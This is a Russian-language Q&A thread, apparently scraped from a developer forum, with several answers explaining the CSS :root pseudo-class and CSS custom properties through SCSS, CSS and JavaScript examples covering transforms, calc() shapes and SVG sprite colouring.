right: 4px; font-family: sans-serif; font-size: 12px; padding: 8px; background-color: rgba(200, 200, 200, 0.8); } .control { display: flex; align-items: center; margin: 0 0 8px 0; } .control-key { flex-grow: 1; margin-right: 16px; } .control-value { width: 152px; }
CSS Variable Demo

Spacing unit:

Columns:

Margins:

Red
Click the buttons on the cards to set the default color scheme for the whole sample.
Pink
The colors on the cards are not affected because they're individually defined at the card level, and thus prioritised according to standard CSS rules.
Purple
Use the controls above to adjust some properties that affect the entire page.
Cyan
Every size on the page is calculated as a multiple of the spacing unit, so setting the property to a different value resizes all elements.
Teal
Changing the number of columns is done by recalculating the relative size of cells on the grid.
Green
Margins adjusts both the spacing around the grid and the gutters inside of it.
Подытожить хотелось бы тем же, чем и начинал. Поддержка пока не радует. Но, время идет и в скором времени все может измениться.

Ответ 4



Раз уж вопрос был на самом деле о custom properties, а не о псевдоклассе :root, то приведу несколько примеров, благодаря которым мне они понравились. Хотя препроцессоры умеют использовать свои внутренние переменные, они всё равно н умеют делать такую вещь, которая, кажется, всеми ожидалась: после изменения переменной автоматически менять имеющиеся свойства, которые её используют. Пример, унылые препроцессорные переменные, синтаксис SCSS: $main-index: 20px; .block { padding: $main-index; } .block-number-2 { font-size: $main-index; } @media (max-width: 900px) { $main-index: 20px; /* хотелось бы не задавать заново все свойства, но придётся :( */ .block { padding: $main-index; } .block-number-2 { font-size: $main-index; } } Пример с модными CSS-переменными (разницу можно увидеть даже тут, если нажать н На всю страницу): :root { --main-index: 20px; } div { width: calc(var(--main-index) * 10); height: calc(var(--main-index) * 8); border: 1px solid; } .block { padding: var(--main-index); } .block-number-2 { font-size: var(--main-index); } @media (max-width: 900px) { :root { --main-index: 10px; } }
Text inside block 1
Text inside block 1
Обратите внимание, что изменилась всего одна переменная и кучу свойств переписывать не надо, профит! Наконец-то можно разделить свойство transform, если используешь больше одной трансформаци (хотя нам уже давно обещают сделать индивидуальные свойства scale, translate и прочие). Раньше анимировать несколько свойств или перезаписать их при помощи JS было тем ещё упражнением, но теперь всё изменилось! Пример: var block = document.querySelector('.transformator'), bodyStyles = window.getComputedStyle(document.body), scale = bodyStyles.getPropertyValue('--scale'), trX = bodyStyles.getPropertyValue('--trX'), trY = bodyStyles.getPropertyValue('--trY'), rotation = bodyStyles.getPropertyValue('--rotation'); document.querySelector('.controller').onclick = function(e) { if ( e.target.classList.contains('scale') ) { scale *= 1.1; block.style.setProperty('--scale', scale); } else if ( e.target.classList.contains('rotate') ){ rotation = parseInt(rotation) + 15 + 'deg'; block.style.setProperty('--rotation', rotation); } else if ( e.target.classList.contains('movex') ){ trX = parseInt(trX) + 10 + 'px'; block.style.setProperty('--trX', trX); } else if ( e.target.classList.contains('movey') ){ trY = parseInt(trY) + 10 + 'px'; block.style.setProperty('--trY', trY); } } :root { --trX: 0; --trY: 0; --rotation: 0deg; --scale: 1; --base: 50px; } .transformator { width: var(--base); height: var(--base); background-image: linear-gradient(#2196f3 0%, #2196f3 50%, #ff0 50%); /* Slava Ukraini! */ transform: scale(var(--scale)) translate3d(var(--trX), var(--trY), 0) rotate(var(--rotation)); transition: transform .5s; } .controller { margin-bottom: var(--base); }
Отдельного упоминания заслуживает использование CSS-переменных с функцией calc() Хотя в примерах выше она уже использовалась, но, думаю, её стоит упомянуть отдельно. Особенно интересно это смотрится при создании фигур, пример (также смотреть и на весь экран): :root { --start-index: 3; --a: calc( var(--start-index) * 20px); --b: calc( (var(--start-index) + var(--start-index) / 3) * 20px); --c: calc( (var(--start-index) + (var(--start-index) / 3) * 2) * 20px); } .pythagorean-triangle { position: relative; width: var(--b); height: var(--a); } .pythagorean-triangle div { height: 1px; background-color: #000; position: absolute; top: 0; left: 0; } .pythagorean-triangle__a { width: var(--a); transform: rotate(90deg); transform-origin: 0 0; } .pythagorean-triangle__b { width: var(--b); } .pythagorean-triangle__c { width: var(--c); left: auto !important; right: 0; transform: rotate(-36.8deg); transform-origin: 100% 0; } @media (min-width: 900px) { :root { --start-index: 30; } }
Коэффициенты подогнаны исходя из простейшего 3² + 4² = 5². Генерировать и менять размеры равносторонних фигур и фигур, с зависимыми друг о друга свойствами (квадраты, круги, овалы, параллелепипеды), стало просто, как никогда! ) Ну и бонус-трек, стилизация SVG-спрайта типа при помощи CSS-переменных. В автоматических генераторах спрайтов в будущем, надеюсь, будет возможность вставлять CSS-переменные каждой фигуре. .sprite { display: none; } .cross { display: inline-block; vertical-align: top; width: 100px; height: 200px; } .cross--red { --one-color: red; --two-color: #9a1616; } .cross--green { --one-color: green; --two-color: #5ef636; } .cross--blue { --one-color: blue; --two-color: #4666d5; } P.S. на этом всё, очень жаль, что конкурс я интерпретировал как лучшее определение псевдокласса :root. Надеюсь набор этих юз-кейсов вас заинтересует. P.P.S. отметьте уже наконец ответ от @Qwertyi как принятый )

Ответ 5



Псевдокласс :root, давайте разберемся где его уместно применять и для чего он нужен. Теория Основная цель его использования, это получить доступ к корневому элементу документа. А что является корневым элементом для HTML-страницы? Это элемент . Получается, что с помощью псевдокласса :root мы будем получать доступ к нему. Вы можете сказать, а зачем мне вообще использовать псевдокласс :root, когда я могу написать так: html { background-color: #fcfcfc; } И успешно получить доступ к элементу ? Но, не стоит забывать, что CSS – это технология, которая используется не только для html-документов, ее также можно применять и к XML-страницам и SVG-файлам, и.т.д. Используя такую запись: :root { background-color: #fcfcfc; } Мы получаем более универсальную форму записи для доступа к корневому элементу страницы В условиях постоянного развития технологий и появления все новых и новых мобильных устройств – это очень важно. Вот пример документа, где это можно использовать на практике. Untitled Document

Пример документа

CSS-переменные Однако :root используется также для задания переменных в CSS. Вот здесь и начинаются настоящие чудеса: :root { --color-main: #333333; --color-alert: #ffecef; } .error { color: var(--color-alert); } Возможность использовать переменные в CSS — это значительное преимущество CSS-препроцессоров В самом простом примере, мы можем сохранить огромное количество времени определив цвет и шрифты, используемые в нашем дизайне, а затем использовать переменные, когда потребуется какой-то конкретный шрифт или цвет. Если мы решим изменить шрифт или цветовую палитру нам надо будет поменять это только в одном месте. Вывод Напоследок, хочу сказать, что псевдокласс :root появился совсем недавно и в старых браузерах он работать не будет. А поддержка :root в IE и Edge совсем удручает:

Ответ 6



Реальный опыт эксплуатации именно :root - только для написания стилей под конкретны браузер. browser strangeness. Работает как раз благодаря тому, что не все его поддерживают.